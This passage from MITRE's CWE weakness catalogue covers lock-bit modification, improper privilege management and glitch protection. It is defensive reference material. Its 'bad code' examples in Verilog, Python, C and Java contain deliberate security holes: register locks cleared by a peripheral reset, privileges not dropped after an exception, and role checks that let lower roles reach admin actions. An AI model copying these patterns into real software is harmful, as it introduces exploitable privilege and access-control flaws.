ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 1243 Sensitive Non-Volatile Information Not Protected During Debug
PeerOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 1191 On-Chip Debug and Test Interface With Improper Access Control
+ Relevant to the view "Hardware Design" (View-1194)
Nature Type ID Name
MemberOf Category Category - a CWE entry that contains a set of other entries that share a common characteristic. 1208 Cross-Cutting Problems
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
Phase Note
Architecture and Design This weakness can arise if design decisions are made that do not align with the intended physical protection of the product
Manufacturing While the architecture and design phase of the product may have accurately met the intended robustness for product physical protections, this phase may introduce the weakness through errors in physically manufacturing the product.
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.
Languages

Class: Not Language-Specific (Undetermined Prevalence)

Operating Systems

Class: Not OS-Specific (Undetermined Prevalence)

Architectures

Class: Not Architecture-Specific (Undetermined Prevalence)

Technologies

Class: Not Technology-Specific (Undetermined Prevalence)

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
Nature Type ID Name
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1364 ICS Communications: Zone Boundary Failures
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1396 Comprehensive Categorization: Access Control
+ Vulnerability Mapping Notes
Usage ALLOWED-WITH-REVIEW
(this CWE ID could be used to map to real-world vulnerabilities in limited situations requiring careful review)
Reason Abstraction

Rationale

This CWE entry is a Class and might have Base-level children that would be more appropriate

Comments

Examine children of this entry to see if there is a better fit
+ Notes

Maintenance

This entry is still under development and will continue to see updates and content improvements.
+ Content History
+ Submissions
Submission Date Submitter Organization
2020-05-28
(CWE 4.1, 2020-02-24) 		CWE Content Team MITRE
+ Modifications
Modification Date Modifier Organization
2023-06-29 CWE Content Team MITRE
updated Mapping_Notes, Relationships
2023-04-27 CWE Content Team MITRE
updated Relationships
2022-10-13 CWE Content Team MITRE
updated Relationships
2021-10-28 CWE Content Team MITRE
updated Description
2021-07-20 CWE Content Team MITRE
updated Relationships
2020-12-10 CWE Content Team MITRE
updated Potential_Mitigations
2020-08-20 CWE Content Team MITRE
updated Common_Consequences, Description, Modes_of_Introduction, Name, Potential_Mitigations, Related_Attack_Patterns, Relationships
+ Previous Entry Names
Change Date Previous Entry Name
2020-08-20 Insufficient Physical Protection Mechanism
Back to top

CWE-1231: Improper Prevention of Lock Bit Modification

Weakness ID: 1231
Vulnerability Mapping: ALLOWED This CWE ID may be used to map to real-world vulnerabilities
Abstraction: Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
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+ Description
The product uses a trusted lock bit for restricting access to registers, address regions, or other resources, but the product does not prevent the value of the lock bit from being modified after it has been set.
+ Extended Description

In integrated circuits and hardware intellectual property (IP) cores, device configuration controls are commonly programmed after a device power reset by a trusted firmware or software module (e.g., BIOS/bootloader) and then locked from any further modification.

This behavior is commonly implemented using a trusted lock bit. When set, the lock bit disables writes to a protected set of registers or address regions. Design or coding errors in the implementation of the lock bit protection feature may allow the lock bit to be modified or cleared by software after it has been set. Attackers might be able to unlock the system and features that the bit is intended to protect.

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
Impact Details

Modify Memory

Scope: Access Control

Likelihood: High

Registers protected by lock bit can be modified even when lock is set.
+ Potential Mitigations
Phase(s) Mitigation

Architecture and Design; Implementation; Testing
  • Security lock bit protections must be reviewed for design inconsistency and common weaknesses.
  • Security lock programming flow and lock properties must be tested in pre-silicon and post-silicon testing.

Effectiveness: High
+ Relationships
Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (View-1000)
Nature Type ID Name
ChildOf Pillar Pillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things. 284 Improper Access Control
+ Relevant to the view "Hardware Design" (View-1194)
Nature Type ID Name
MemberOf Category Category - a CWE entry that contains a set of other entries that share a common characteristic. 1199 General Circuit and Logic Design Concerns
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
Phase Note
Architecture and Design Such issues could be introduced during hardware architecture and design and identified later during Testing or System Configuration phases.
Implementation Such issues could be introduced during implementation and identified later during Testing or System Configuration phases.
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.
Languages

Class: Not Language-Specific (Undetermined Prevalence)

Operating Systems

Class: Not OS-Specific (Undetermined Prevalence)

Architectures

Class: Not Architecture-Specific (Undetermined Prevalence)

Technologies

Class: Not Technology-Specific (Undetermined Prevalence)

+ Demonstrative Examples

Example 1


Consider the example design below for a digital thermal sensor that detects overheating of the silicon and triggers system shutdown. The system critical temperature limit (CRITICAL_TEMP_LIMIT) and thermal sensor calibration (TEMP_SENSOR_CALIB) data have to be programmed by firmware, and then the register needs to be locked (TEMP_SENSOR_LOCK).

(bad code)
Example Language: Other 
Register Field description
CRITICAL_TEMP_LIMIT [31:8] Reserved field; Read only; Default 0
[7:0] Critical temp 0-255 Centigrade; Read-write-lock; Default 125
TEMP_SENSOR_CALIB [31:0] Thermal sensor calibration data. Slope value used to map sensor reading to degrees Centigrade.
TEMP_SENSOR_LOCK [31:1] Reserved field; Read only; Default 0
[0] Lock bit, locks CRITICAL_TEMP_LIMIT and TEMP_SENSOR_CALIB registers; Write-1-once; Default 0
TEMP_HW_SHUTDOWN [31:2] Reserved field; Read only; Default 0
[1] Enable hardware shutdown on critical temperature detection; Read-write; Default 0
CURRENT_TEMP [31:8] Reserved field; Read only; Default 0
[7:0] Current Temp 0-255 Centigrade; Read-only; Default 0

In this example, note that if the system heats to critical temperature, the response of the system is controlled by the TEMP_HW_SHUTDOWN bit [1], which is not lockable. Thus, the intended security property of the critical temperature sensor cannot be fully protected, since software can misconfigure the TEMP_HW_SHUTDOWN register even after the lock bit is set to disable the shutdown response.

(good code)
Example Language: Other 

To fix this weakness, one could change the TEMP_HW_SHUTDOWN field to be locked by TEMP_SENSOR_LOCK.

TEMP_HW_SHUTDOWN [31:2] Reserved field; Read only; Default 0
[1] Enable hardware shutdown on critical temperature detection; Read-write-Lock; Default 0
[0] Locked by TEMP_SENSOR_LOCK


Example 2


The following example code is a snippet from the register locks inside the buggy OpenPiton SoC of HACK@DAC'21 [REF-1350]. Register locks help prevent SoC peripherals' registers from malicious use of resources. The registers that can potentially leak secret data are locked by register locks.

In the vulnerable code, the reglk_mem is used for locking information. If one of its bits toggle to 1, the corresponding peripheral's registers will be locked. In the context of the HACK@DAC System-on-Chip (SoC), it is pertinent to note the existence of two distinct categories of reset signals.

First, there is a global reset signal denoted as "rst_ni," which possesses the capability to simultaneously reset all peripherals to their respective initial states.

Second, we have peripheral-specific reset signals, such as "rst_9," which exclusively reset individual peripherals back to their initial states. The administration of these reset signals is the responsibility of the reset controller module.

(bad code)
Example Language: Verilog 
always @(posedge clk_i)
begin
if(~(rst_ni && ~jtag_unlock && ~rst_9))
begin
for (j=0; j < 6; j=j+1) begin
reglk_mem[j] <= 'h0;
end

end
...

In the buggy SoC architecture during HACK@DAC'21, a critical issue arises within the reset controller module. Specifically, the reset controller can inadvertently transmit a peripheral reset signal to the register lock within the user privilege domain.

This unintentional action can result in the reset of the register locks, potentially exposing private data from all other peripherals, rendering them accessible and readable.

To mitigate the issue, remove the extra reset signal rst_9 from the register lock if condition. [REF-1351]

(good code)
Example Language: Verilog 
always @(posedge clk_i)
begin
if(~(rst_ni && ~jtag_unlock))
begin
for (j=0; j < 6; j=j+1) begin
reglk_mem[j] <= 'h0;
end

end
...


+ Selected Observed Examples

Note: this is a curated list of examples for users to understand the variety of ways in which this weakness can be introduced. It is not a complete list of all CVEs that are related to this CWE entry.

Reference Description
chip reset clears critical read/write lock permissions for RSA function
+ Weakness Ordinalities
Ordinality Description
Primary
(where the weakness exists independent of other weaknesses)
+ Detection Methods
Method Details

Manual Analysis
Set the lock bit. Power cycle the device. Attempt to clear the lock bit. If the information is changed, implement a design fix. Retest. Also, attempt to indirectly clear the lock bit or bypass it.

Effectiveness: High
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
Nature Type ID Name
MemberOf ViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 1343 Weaknesses in the 2021 CWE Most Important Hardware Weaknesses List
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1372 ICS Supply Chain: OT Counterfeit and Malicious Corruption
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1396 Comprehensive Categorization: Access Control
+ Vulnerability Mapping Notes
Usage ALLOWED
(this CWE ID may be used to map to real-world vulnerabilities)
Reason Acceptable-Use

Rationale

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Content History
+ Submissions
Submission Date Submitter Organization
2020-01-15
(CWE 4.0, 2020-02-24) 		Arun Kanuparthi, Hareesh Khattri, Parbati Kumar Manna, Narasimha Kumar V Mangipudi Intel Corporation
+ Contributions
Contribution Date Contributor Organization
2021-10-20 Narasimha Kumar V Mangipudi Lattice Semiconductor
reviewed content changes
2021-10-22 Hareesh Khattri Intel Corporation
provided observed example
2023-06-21 Shaza Zeitouni, Mohamadreza Rostami, Pouya Mahmoody, Ahmad-Reza Sadeghi Technical University of Darmstadt
suggested demonstrative example
2023-06-21 Rahul Kande, Chen Chen, Jeyavijayan Rajendran Texas A&M University
suggested demonstrative example
+ Modifications
Modification Date Modifier Organization
2025-04-03
(CWE 4.17, 2025-04-03) 		CWE Content Team MITRE
updated Demonstrative_Examples
2023-10-26 CWE Content Team MITRE
updated Demonstrative_Examples, References
2023-06-29 CWE Content Team MITRE
updated Mapping_Notes
2023-04-27 CWE Content Team MITRE
updated Relationships
2022-04-28 CWE Content Team MITRE
updated Related_Attack_Patterns, Relationships
2021-10-28 CWE Content Team MITRE
updated Demonstrative_Examples, Description, Detection_Factors, Name, Observed_Examples, Potential_Mitigations, Relationships, Weakness_Ordinalities
2020-08-20 CWE Content Team MITRE
updated Related_Attack_Patterns
2020-06-25 CWE Content Team MITRE
updated Demonstrative_Examples
+ Previous Entry Names
Change Date Previous Entry Name
2021-10-28 Improper Implementation of Lock Protection Registers
Back to top

CWE-269: Improper Privilege Management

Weakness ID: 269
Vulnerability Mapping: DISCOURAGED This CWE ID should not be used to map to real-world vulnerabilities
Abstraction: Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product does not properly assign, modify, track, or check privileges for an actor, creating an unintended sphere of control for that actor. Diagram for CWE-269
+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
Impact Details

Gain Privileges or Assume Identity

Scope: Access Control

+ Potential Mitigations
Phase(s) Mitigation

Architecture and Design; Operation
Very carefully manage the setting, management, and handling of privileges. Explicitly manage trust zones in the software.

Architecture and Design

Strategy: Separation of Privilege

Follow the principle of least privilege when assigning access rights to entities in a software system.

Architecture and Design

Strategy: Separation of Privilege

Consider following the principle of separation of privilege. Require multiple conditions to be met before permitting access to a system resource.
+ Relationships
Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (View-1000)
Nature Type ID Name
ChildOf Pillar Pillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things. 284 Improper Access Control
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 250 Execution with Unnecessary Privileges
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 266 Incorrect Privilege Assignment
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 267 Privilege Defined With Unsafe Actions
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 268 Privilege Chaining
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 270 Privilege Context Switching Error
ParentOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 271 Privilege Dropping / Lowering Errors
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 274 Improper Handling of Insufficient Privileges
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 648 Incorrect Use of Privileged APIs
+ Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (View-1003)
Nature Type ID Name
MemberOf View View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 1003 Weaknesses for Simplified Mapping of Published Vulnerabilities
+ Relevant to the view "Architectural Concepts" (View-1008)
Nature Type ID Name
MemberOf Category Category - a CWE entry that contains a set of other entries that share a common characteristic. 1011 Authorize Actors
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
Phase Note
Architecture and Design
Implementation REALIZATION: This weakness is caused during implementation of an architectural security tactic.
Operation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.
Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Likelihood Of Exploit
Medium
+ Demonstrative Examples

Example 1


This code temporarily raises the program's privileges to allow creation of a new user folder.

(bad code)
Example Language: Python 
def makeNewUserDir(username):
if invalidUsername(username):

#avoid CWE-22 and CWE-78
print('Usernames cannot contain invalid characters')
return False

try:
raisePrivileges()
os.mkdir('/home/' + username)
lowerPrivileges()

except OSError:
print('Unable to create new user directory for user:' + username)
return False

return True

While the program only raises its privilege level to create the folder and immediately lowers it again, if the call to os.mkdir() throws an exception, the call to lowerPrivileges() will not occur. As a result, the program is indefinitely operating in a raised privilege state, possibly allowing further exploitation to occur.



Example 2


The following example demonstrates the weakness.

(bad code)
Example Language: C 
seteuid(0);
/* do some stuff */

seteuid(getuid());


Example 3


The following example demonstrates the weakness.

(bad code)
Example Language: Java 
AccessController.doPrivileged(new PrivilegedAction() {
public Object run() {
// privileged code goes here, for example:
System.loadLibrary("awt");
return null;
// nothing to return
}


Example 4


This code intends to allow only Administrators to print debug information about a system.

(bad code)
Example Language: Java 
public enum Roles {
ADMIN,USER,GUEST
}

public void printDebugInfo(User requestingUser){
if(isAuthenticated(requestingUser)){
switch(requestingUser.role){
case GUEST:
System.out.println("You are not authorized to perform this command");
break;

default:
System.out.println(currentDebugState());
break;
}
}
else{
System.out.println("You must be logged in to perform this command");
}
}

While the intention was to only allow Administrators to print the debug information, the code as written only excludes those with the role of "GUEST". Someone with the role of "ADMIN" or "USER" will be allowed access, which goes against the original intent. An attacker may be able to use this debug information to craft an attack on the system.



Example 5


This code allows someone with the role of "ADMIN" or "OPERATOR" to reset a user's password. The role of "OPERATOR" is intended to have less privileges than an "ADMIN", but still be able to help users with small issues such as forgotten passwords.

(bad code)
Example Language: Java 
public enum Roles {
ADMIN,OPERATOR,USER,GUEST
}

public void resetPassword(User requestingUser, User user, String password ){
if(isAuthenticated(requestingUser)){
switch(requestingUser.role){
case GUEST:
System.out.println("You are not authorized to perform this command");
break;

case USER:
System.out.println("You are not authorized to perform this command");
break;

default:
setPassword(user,password);
break;
}
}

else{
System.out.println("You must be logged in to perform this command");
}
}

This code does not check the role of the user whose password is being reset. It is possible for an Operator to gain Admin privileges by resetting the password of an Admin account and taking control of that account.



+ Selected Observed Examples

Note: this is a curated list of examples for users to understand the variety of ways in which this weakness can be introduced. It is not a complete list of all CVEs that are related to this CWE entry.

Reference Description
Terminal privileges are not reset when a user logs out.
Does not properly pass security context to child processes in certain cases, allows privilege escalation.
Does not properly compute roles.
untrusted user placed in unix "wheel" group
Product allows users to grant themselves certain rights that can be used to escalate privileges.
Product uses group ID of a user instead of the group, causing it to run with different privileges. This is resultant from some other unknown issue.
Product mistakenly assigns a particular status to an entity, leading to increased privileges.
FTP client program on a certain OS runs with setuid privileges and has a buffer overflow. Most clients do not need extra privileges, so an overflow is not a vulnerability for those clients.
OS incorrectly installs a program with setuid privileges, allowing users to gain privileges.
Composite: application running with high privileges (CWE-250) allows user to specify a restricted file to process, which generates a parsing error that leaks the contents of the file (CWE-209).
Installation script installs some programs as setuid when they shouldn't be.
Roles have access to dangerous procedures (Accessible entities).
Untrusted object/method gets access to clipboard (Accessible entities).
Traceroute program allows unprivileged users to modify source address of packet (Accessible entities).
User with capability can prevent setuid program from dropping privileges (Unsafe privileged actions).
+ Weakness Ordinalities
Ordinality Description
Primary
(where the weakness exists independent of other weaknesses)
+ Detection Methods
Method Details

Automated Static Analysis
Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness: High
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
Nature Type ID Name
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 901 SFP Primary Cluster: Privilege
MemberOf ViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 1200 Weaknesses in the 2019 CWE Top 25 Most Dangerous Software Errors
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1348 OWASP Top Ten 2021 Category A04:2021 - Insecure Design
MemberOf ViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 1350 Weaknesses in the 2020 CWE Top 25 Most Dangerous Software Weaknesses
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1364 ICS Communications: Zone Boundary Failures
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1365 ICS Communications: Unreliability
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1366 ICS Communications: Frail Security in Protocols
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1373 ICS Engineering (Construction/Deployment): Trust Model Problems
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1396 Comprehensive Categorization: Access Control
MemberOf ViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 1425 Weaknesses in the 2023 CWE Top 25 Most Dangerous Software Weaknesses
MemberOf ViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 1430 Weaknesses in the 2024 CWE Top 25 Most Dangerous Software Weaknesses
+ Vulnerability Mapping Notes
Usage DISCOURAGED
(this CWE ID should not be used to map to real-world vulnerabilities)
Reason Frequent Misuse

Rationale

CWE-269 is commonly misused. It can be conflated with "privilege escalation," which is a technical impact that is listed in many low-information vulnerability reports [REF-1287]. It is not useful for trend analysis.

Comments

If an error or mistake allows privilege escalation, then use the CWE ID for that mistake. Avoid using CWE-269 when only phrases such as "privilege escalation" or "gain privileges" are available, as these indicate technical impact of the vulnerability - not the root cause weakness. If the root cause seems to be directly related to privileges, then examine the children of CWE-269 for additional hints, such as Execution with Unnecessary Privileges (CWE-250) or Incorrect Privilege Assignment (CWE-266).
+ Notes

Maintenance

The relationships between privileges, permissions, and actors (e.g. users and groups) need further refinement within the Research view. One complication is that these concepts apply to two different pillars, related to control of resources (CWE-664) and protection mechanism failures (CWE-693).
+ Taxonomy Mappings
Mapped Taxonomy Name Node ID Fit Mapped Node Name
PLOVER Privilege Management Error
ISA/IEC 62443 Part 2-4 Req SP.03.08 BR
ISA/IEC 62443 Part 3-2 Req CR 3.1
ISA/IEC 62443 Part 3-3 Req SR 1.2
ISA/IEC 62443 Part 3-3 Req SR 2.1
ISA/IEC 62443 Part 4-1 Req SD-3
ISA/IEC 62443 Part 4-1 Req SD-4
ISA/IEC 62443 Part 4-1 Req SI-1
ISA/IEC 62443 Part 4-2 Req CR 1.1
ISA/IEC 62443 Part 4-2 Req CR 2.1
+ References
[REF-44] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 16: Executing Code With Too Much Privilege." Page 243. McGraw-Hill. 2010.
[REF-62] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 9, "Dropping Privileges Permanently", Page 479. 1st Edition. Addison Wesley. 2006.
[REF-1287] MITRE. "Supplemental Details - 2022 CWE Top 25". Details of Problematic Mappings. 2022-06-28.
<https://cwe.mitre.org/top25/archive/2022/2022_cwe_top25_supplemental.html#problematicMappingDetails>. (URL validated: 2024-11-17)
+ Content History
+ Submissions
Submission Date Submitter Organization
2006-07-19
(CWE Draft 3, 2006-07-19) 		PLOVER
+ Contributions
Contribution Date Contributor Organization
2023-06-29
(CWE 4.12, 2023-06-29) 		"Mapping CWE to 62443" Sub-Working Group CWE-CAPEC ICS/OT SIG
Suggested mappings to ISA/IEC 62443.
2024-02-29
(CWE 4.15, 2024-07-16) 		Abhi Balakrishnan
Provided diagram to improve CWE usability
+ Modifications
Modification Date Modifier Organization
2024-11-19
(CWE 4.16, 2024-11-19) 		CWE Content Team MITRE
updated Relationships
2024-07-16
(CWE 4.15, 2024-07-16) 		CWE Content Team MITRE
updated Diagram
2023-06-29 CWE Content Team MITRE
updated Mapping_Notes, Relationships, Taxonomy_Mappings
2023-04-27 CWE Content Team MITRE
updated Detection_Factors, Relationships
2023-01-31 CWE Content Team MITRE
updated Description
2022-10-13 CWE Content Team MITRE
updated References
2022-04-28 CWE Content Team MITRE
updated Relationships
2021-10-28 CWE Content Team MITRE
updated Relationships
2021-03-15 CWE Content Team MITRE
updated Demonstrative_Examples
2020-08-20 CWE Content Team MITRE
updated Relationships
2020-02-24 CWE Content Team MITRE
updated Observed_Examples, Relationships
2019-09-19 CWE Content Team MITRE
updated Demonstrative_Examples, Maintenance_Notes, Observed_Examples, Relationships
2019-06-20 CWE Content Team MITRE
updated Related_Attack_Patterns, Relationships
2017-11-08 CWE Content Team MITRE
updated Applicable_Platforms, Causal_Nature, Modes_of_Introduction, Relationships, Type
2013-02-21 CWE Content Team MITRE
updated Potential_Mitigations
2012-10-30 CWE Content Team MITRE
updated Potential_Mitigations
2012-05-11 CWE Content Team MITRE
updated References, Relationships
2011-06-01 CWE Content Team MITRE
updated Common_Consequences
2011-03-29 CWE Content Team MITRE
updated Description, Relationships
2010-06-21 CWE Content Team MITRE
updated Potential_Mitigations
2009-12-28 CWE Content Team MITRE
updated Potential_Mitigations
2009-05-27 CWE Content Team MITRE
updated Name
2008-09-08 CWE Content Team MITRE
updated Description, Maintenance_Notes, Name, Relationships, Taxonomy_Mappings, Weakness_Ordinalities
2008-09-08 CWE Team
Moved this entry higher up in the Research view.
2008-07-01 Eric Dalci Cigital
updated Time_of_Introduction
+ Previous Entry Names
Change Date Previous Entry Name
2008-09-09 Privilege Management Error
2009-05-27 Insecure Privilege Management
Back to top

CWE-1247: Improper Protection Against Voltage and Clock Glitches

Weakness ID: 1247
Vulnerability Mapping: ALLOWED This CWE ID may be used to map to real-world vulnerabilities
Abstraction: Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

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+ Description
The device does not contain or contains incorrectly implemented circuitry or sensors to detect and mitigate voltage and clock glitches and protect sensitive information or software contained on the device.
+ Extended Description

A device might support features such as secure boot which are supplemented with hardware and firmware support. This involves establishing a chain of trust, starting with an immutable root of trust by checking the signature of the next stage (culminating with the OS and runtime software) against a golden value before transferring control. The intermediate stages typically set up the system in a secure state by configuring several access control settings. Similarly, security logic for exercising a debug or testing interface may be implemented in hardware, firmware, or both. A device needs to guard against fault attacks such as voltage glitches and clock glitches that an attacker may employ in an attempt to compromise the system.

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
Impact Details

Gain Privileges or Assume Identity; Bypass Protection Mechanism; Read Memory; Modify Memory; Execute Unauthorized Code or Commands

Scope: Confidentiality, Integrity, Availability, Access Control

+ Potential Mitigations
Phase(s) Mitigation

Architecture and Design; Implementation

At the circuit-level, using Tunable Replica Circuits (TRCs) or special flip-flops such as Razor flip-flops helps mitigate glitch attacks. Working at the SoC or platform base, level sensors may be implemented to detect glitches. Implementing redundancy in security-sensitive code (e.g., where checks are performed)also can help with mitigation of glitch attacks.
+ Relationships
